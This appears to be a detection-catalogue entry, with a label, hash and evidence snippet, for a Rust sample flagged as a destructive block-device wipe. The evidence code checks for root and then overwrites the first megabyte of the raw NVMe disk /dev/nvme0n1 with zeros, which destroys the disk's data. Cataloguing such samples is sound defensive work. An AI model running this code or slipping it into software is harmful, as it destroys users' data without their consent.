38-linux-nvme.rs
Destructive block device wipe
Destructive overwrite of a raw block deviceRust OpenOptions opens a block device
SHA-256da61a2d5891e1d90067114ff0c608dc4808c1fe6cd7574e8e821be4580f30bd8
MaleculeO(I)H₂(F₂Os)
Evidence
1use std::fs::OpenOptions;
2use std::io::Write;
3use std::os::unix::fs::OpenOptionsExt;
4fn main() {
5 if unsafe { libc::geteuid() } != 0 { return; }
6 let mut f = OpenOptions::new().write(true).custom_flags(libc::O_RDWR)
7 .open("/dev/nvme0n1").unwrap();
8 let _ = f.write_all(&[0u8; 1048576]);
9}